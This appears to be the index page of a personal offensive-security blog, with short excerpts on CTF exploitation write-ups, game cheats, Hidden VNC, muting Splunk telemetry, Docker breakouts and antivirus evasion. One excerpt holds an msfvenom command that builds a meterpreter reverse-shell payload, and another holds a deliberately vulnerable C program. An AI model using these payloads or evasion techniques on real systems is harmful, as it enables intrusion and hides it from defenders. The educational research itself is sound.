Recent content on BananaMafia
Cheating in PS2 Games with Lua 
 After jailbreaking my PS4, I searched for a way to play some PS2 games on it. Since HDMI ports are not available on stock PS2s, the obvious solution would be to emulate the games on a PS4. 
 Years ago, the PS4 homebrew community already found ways to emulate many PS2 games on the console. The main method involves an emulator that was originally developed…

 
 
 
 This is a writeup for the 37C3 CTF challenge ezrop with the following description: Pretty standard ret2libc pwn challenge. . A binary with partial RELRO, no PIC and no canary was given, along with the libc that’s deployed on the target server. This writeup shows how to solve the challenge using r2 and pwntools-r2 . 
 Triggering the buffer overflow vulnerability is…
In the BinaryGolf competition, specific file related problems have to be solved with the least amount of bytes. This was the challenge for the 2023 edition: 
 
 
 
 Me and some other guy decided to go for a GameBoy ROM with an embedded bash script, since old file formats like game ROMs are quite interesting. In the end, we came up with such a polyglot file that met all criteria of…
Many organizations rely on Splunk and its Splunk Forwarder to deliver event data as a sole source of telemetry. For quite some time, I’ve wondered if it’s possible to mute the Splunk Forwarder’s splunkd process, so that no event data reaches the respective endpoint. Technically, this should be possible, once the required privileges are granted on a system. Therefore, I’ve…
Hello fellow Wallhackers, NoSmokers and Copy-Pasters. Today, I’ll write about implementing several cool cheat features for your favorite game, CS:GO. There may be many articles like this, but this one is mine :) 
 First, of all I recommend checking out my previous posts covering several aspects and internals of CS:GO before reading this. I’ve got posts about Aimbots and NoFlash ,…
Recently, I did some research on Hidden VNCs ( HVNC ). This is a neat feature for attackers to have, since it allows to remotely control a compromised system on a new and separate virtual desktop that is not visible to the victim. This way, it is possible to remotely launch and use GUI programs without generating any visual indicators for victims. 
 Implementing HVNC is complicated. First of…
Yo! 
 Do you know the game Among Us ? It’s a multiplayer game where you have to identify impostors in a group of players. The impostor’s goal is to kill every other player without being identified throughout the game. The remaining players can use votes to kick out a specific player, while hopefully identifying the impostor correctly. 
 The game is based on the Unity engine…
A while ago, I’ve found an article on Hackaday , describing how to stream arbitrary YouTube videos to Sonos systems. Before you ask: No, that’s not possible normally, at least not without a premium subscription. 
 In the original article called How I hacked SONOS and YouTube the same day (lol?????), the author described an approach to grab audio streams from YouTube and to convert…

 
 
 
 Props to kawaiicon for the illustrations. 

There’s no good way to start a blog post like this, so let’s dive right in: 
 Recently, I’ve re-discovered the butthax talk which covered security aspects of Lovense devices. I’ve felt so inspired, that I’ve decided to buy some Satisfyer devices and check out how they work. 
 These are app-controllable toys that are sold globally, first and foremost in Germany…
Welcome to another round of Banana tweets and unintentionally makes people mad . 
 I’ve had a look at some VS Code extensions that make use of shell commands with the goal to find a command injection vulnerability. For this, I’ve grepped for child_process , since this is a NodeJS API that’s commonly used to execute shell commands in VS Code. 
 I’ve quickly found…
Instead of watching The Bachelor , I’ve decided to take a look at the security of my Hisense smart TV. I’ve found a way to read arbitrary files from the file system. Also, (over)writing specific files, as well as installing malicious HTML5 applications was found to be possible. All of that can be performed from the web browser, using the custom JavaScript API that was implemented by…
If you’re like me (rich), it’s likely that you want to monitor and protect your ice and gold chainz with technical measures. Since cloud based solutions are not an option for me, I’ve built a system that’s self-hosted. It’s based on my existing UniFi network setup, a UniFi camera and this software: 
 
 UniFi Controller: This is used to manage all UniFi devices…
OK, so syncthing is cool for automatic synchronization and backups and all of that stuff. But there are also times when you open the web UI and notice that no data transfer has happened within the last two months. Nice! 
 This is often caused by faulty run conditions that can be set in the app or network errors. The syncthing server may also have some trouble, too. I’ve decided to create…
I’ve experimented with even moar game hacking and hooking techniques and you didn’t, so here comes another blog post. 
 Today’s topic is about hooking a specific function of the Direct3D library with the goal to cause Counter Strike: Global Offensive to draw additional things on the screen. There can be various reasons to do this: 
 
 It’s possible to draw a…
Recently I’ve discovered a paper that demonstrates a fancy ROP-style exploitation technique for Linux based systems. It’s called Sigreturn-oriented programming (SROP) and was released by two dudes of the Vrije Universiteit Amsterdam in 2014. This post contains background information on this exploitation technique and shows how to pull it off using radare2 and pwntools . 
…
Since you’re all isolated, grumpy and bored I’ve decided to create a little introduction to memory forensics. The test subject is the first stage of MemLabs , a set of CTF challenges focused on memory forensics by @_abhiramkumar . Each stage has its own memory dump that was taken from a live system using a tool like DumpIt . The goal for the first stage of MemLabs is to obtain all…
Recently I’ve started a little fuzzing project. After doing some research , I’ve decided to fuzz a gaming emulator. The target of choice is a GameBoy and GameBoy Advance emulator called VisualBoyAdvance-M , which is also called VBA-M. At the time of writing the emulator was still being maintained. VBA-M seems to be a fork of VisualBoyAdvance , for which development seems to have…
This writeup is about a 36C3 junior CTF challenge called minifd which can be found here . The goal is to find and exploit a user-after-free vulnerability in order to spawn a shell on the remote system. Here’s the challenge description: 
 This is a simple file manager implementation supporting basic functionality to create, read, and write files. 
 Please note: This is a prototype…

 1337 skills 
 Task description: 
 It’s too hard to gain all 1337 h4x0r skills required by nowadays CTFs ._.! 
 I am glad a friendly hacker told me about an App he got during a (growth) hacking course. 
 Sadly, he didn’t wrote down any activations codes. 
 Ready for your hacking exam? 
 
 As can be read above, an Android app was given at the beginning of the…
Now that the deadline to fix this vulnerability has passed, I’ve decided to publish this blog post that covers a web vulnerability I’ve found in the login mechanism of a particular company. 
 Everything started when I had a look at a more complex part of a public web application of this vendor. The web application that gives out a link to the user that can be used to open up the…
Exploit development on ARM with radare2 seems like a great idea until you start searching for resources, searching for a nice and automated debugging setup. Here’s what I’ve found: 
 nothing 
 Cool. That’s the reason why this post covers the setup I came up with, as well as basics for ROP on the ARM architecture. The exploit target is stack6 from Azeria Labs and radare2…
In a previous post I’ve already covered Frida and its instrumentation abilities. But check this out: You can also use Frida to perform fuzzing. What’s even greater is that Frida allows in-process fuzzing. 
 Why would you want to do this? There may be various reasons, but the most outstanding one for me is building a fuzzing harness for closed source applications and libraries. Just…
You want to customize your Linux dotfiles, whether you already know it
or not. After investing way too much time into this, I’ve decided to share some
results and tricks in this blog post. 
 General Structure 
 The first thing to do is to create a general structure for your dotfiles and
all associated files and scripts. I came up with this structure: 
…
As every year at r2con , the r2wars competition was hosted by sanguinawer and the r2 overlord pancake . I’ve made it to the second place in this year’s battles, so I’ve promised to create a writeup for my participation – and here it is. Welcome to the nerdiest game in town. 
 Lol What’s r2wars Again? 
 The r2wars competition is based on radare2 ’s ESIL…
One of my main takeaways from this year’s r2con is that Frida is cool and that r2frida , the integration with radare2 , is even cooler. Using this, it’s possible to pair the benefits of dynamic instrumentation of Frida with the analysis features and workflow of radare2 . This is a small tutorial to get started with both Frida and r2frida that’s based on the r2xor challenge of the…
r2boy1 
 The first GameBoy challenge was rather easy. The idea was to talk to the Pancake character in-game in order to get the flag. The problem is that Pancake chills behind a wall. One possible solution was to glitch through the wall, however I’ve solved this using static analysis. 
 Going through the strings and searching for a possible dialog yields interesting strings: 
…
Based on the Stop, ROP, n’, Roll challenge from this year’s Redpwn CTF, this post will explain how to make system calls on x64 using ROP in order to spawn a shell. Also, it shows how to abuse writable memory regions of a process to overcome difficulties with some ROP gadgets. And the best thing is, two of the gadgets used in this writeup are universal and most likely also present in…
Finally a nice .NET CTF challenge - time to pull out dnSpy :) 
 The provided ZIP includes a CampRE.dll file which, according to the challenge description, is a .NET Core application. Time to boot a Windows VM and install the .NET Core runtime environment. 
 After decompiling the dll , this source code can be inspected: 
 private static void Main( string [] args)
 {
 byte []…
Deserialization is a vulnerability class that’s often overlooked. It’s great that this year’s CCCamp CTF included an interesting web based challenge that is based on this vulnerability class. 
 The Target 
 The challenge includes a link to a web service that allows converting user-supplied images into PDF files. Users can upload image files, add some additional HTML…
Let’s check out Return Oriented Programming (ROP) with the pivot32 challenge from ROP Emporium by using radare2 . The pivot32 binary is compiled without stack canaries and PIE but has NX enabled. 
 Basics 
 The general principle behind ROP is that: 
 […] an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine…
This is short writeup on the Decode Me challenge of the first CryptoCTF. 
 The following string has to be decoded into a flag somehow: 
 D: mb xwhvxw mlnX 4X6AhPLAR4eupSRJ6FLt8AgE6JsLdBRxq57L8IeMyBRHp6IGsmgFIB5E :ztey xam lb lbaH
 The first thing that comes to mind is that some sort of substitution cipher was being used in the first place. A cipher of this kind is the Caesar cipher…
And now for something more CTF-y: Dealing with stack canaries by brute-forcing their value byte by byte. 
 How Stack Canaries Work 
 If you’ve ever read the error message *** stack smashing detected ***: <...> terminated , you’ve already encountered stack canaries in action. They are being used to detect and stop buffer overflows by placing a per-process randomized value…
Hello hello! 
 Everyone knows: This years r2con, the conference about radare2 , has a very special challenge – PwnDebian: 
 
 The almighty blenk92 and me decided to assist the radare2 project in finding such an exploit an we think we were quite successful :) 
 But first some basics for r2 . 
 Shelling Out Via The r2 Shell 
 While running r2 , it’s possible to…
The approach to exploit buffer overflows on x64 is a bit different that on x86. This post demonstrates this using the split challenge of ROP Emporium while making use of radare2 . 
 RIP & Canonical Addresses 
 The first thing one notices when trying to gain control over the instruction pointer is that only values of a specific range are allowed to be loaded into the RIP register. On x86…
This post covers creating a hack for the game Counter Strike: Global Offensive. The hack I’ve developed works in combination with the Linux version of the game - coding a windows-based hack can however be done with the same methodology and tools. 
 These are the features I’ve integrated into the hack: 
 
 Bunnyhop Bot: Do jumps as soon as the player hits the ground to make…
This post covers basic basics of bypassing ASLR and DEP with r2 . For this, a vulnerable application, yolo.c , is required: 
 #include <stdio.h>
#include <stdlib.h>
#include <string.h>

void lol(char *b)
{
 char buffer[1337];
 strcpy(buffer, b);
}

int main(int argc, char **argv)
{
 lol(argv[1]);
}
 64-Bit vs 32-Bit Binaries 
 The…
During an assessment of the Docker platform in November 2018, two information leaks regarding the /proc/asound path were discovered in the OCI (Open Container Initiative) specification. These issues have been fixed quickly by the Docker security team using the provided suggestions. 
 Leak of audio device status of the host 
 When media is being played on the host, the 
…
When trying to exploit an application it’s useful to send the input via gdb to immediately check how the input is being processed. But once the gdb is open it’s sometimes not clear how to pass binary input to applications reading from stdin, e.g. using read . An easy way is to start the debugging session with gdb ./binary and using 
 run < <(printf '\xAA\xAA\xAA')
 from the gdb…
Ever wondered about the various techniques that can be applied to hack modern cars? This post documents various ways to do so - you can use it as a cheatsheet 
 Software 
 There are multiple ways one can interface with the software stack of a car. The easiest one is to use USB-to-Ethernet adapters in order to attach to the network of the car. It’s important to use special adapters…
The idTech3 game engine is most known for being used in games like Quake III Arena , Wolfenstein: ET and Star Wars: Jedi Knight - Jedi Academy . Sometimes people just simply refer to this engine as the Quake3 engine . This post teaches you how to create hacks for games that are based on this game engine. The target of choice is the game Jedi Academy , which was released in 2003. Oldschool, I know…
When it comes to patching certain functions of a binary on ASM level, it’s often performed by modifying the binary itself. This post shows a different approach to accomplish the same thing: Removing game cheat protections using runtime function patching. 
 The Target 
 This is being shown in the following context: Quake3 based multiplayer games include certain settings (CVars) which…
Using 2 factor authentication generally is a good idea. However, losing 2 factor data can be the opposite. If you’re using Google Authenticator to generate 2FA codes, you may have wondered how to backup the data the app uses to generate codes. The method described here requires root access of course but doesn’t require a third party app. Please note that you can always use apps that…
Use Docker to run GUI applications they said. 
 Mount the X11 socket they said. 
 Allow other users to access your X session they said. 
 This post covers Docker container breakouts by abusing bad security practices related to the X11 socket. 
 The problem 
 To display windows spawned through a Docker container, people often launch containers following these steps: 
 
…
Ended up with a cheap nc shell and want to upgrade to a “real” shell with a proper TTY and navigation? 
 Say no more <: 
 1. Upgrading using shell magic 
 This doesn’t always work - however if Python is present on the victims machine, it’s worth a try. 
 
 Use bash on the attacker machine, zsh doesn’t seem to work. 
 Get the nc shell. 
 In…
tl;dr 
 Be aware that imports can be hijacked for Python2 and Python3 - take care of EUIDs. 
 Don’t use input() for Python2.x. 
 Module Hijacking 
 When assigning SUID bits to Python scripts, privileges can be escalated easily. Consider the following Python source code: 
 #!/usr/bin/python2.7
# -*- coding: utf-8 -*-

import hashlib

value =…
tl;dr 
 Generating licenses using MD5(email) is bad. 
 Validating licenses using HTTP in plain text is bad. 
 The Software 
 This post covers reverse engineering and cracking the license validation process of a popular and closed source self hosted music server application. The developer has been notified about the findings, however no reply has been received. The validation issues…
Recently I’ve created a small docker container to perform remote pair programming. Shared shell sessions are an easy way to remotely interact with coworkers or other people. With additional docker magic you now don’t even have to give them access to your host system - they will be contained just like you and the work that’s being done. Using my docker image, it’s possible…
When writing Dockerfiles, people often use something like this to download and install software from GitHub: 
 ENV SOFTWARE_VERSION 1.33.7
RUN curl -sSL \
 https://github.com/user/repo/releases/download/${SOFTWARE_VERSION}/amd64.deb
 This can be optimized so that always the newest version gets used, which also simplifies maintaining the Dockerfile because updating happens…
tl;dr 
 AVs can easily be bypassed using malware AES crypters like Crypt0r : 
 
 Open Source Evasion Techniques 
 All of the following results are based on a meterpreter file which was generated like this: 
 msfvenom
 -p windows/meterpreter/reverse_tcp
 --platform windows
 -f exe
 LHOST=192.168.1.1
 LPORT=1337
 -o meter.exe
 All scans are performed…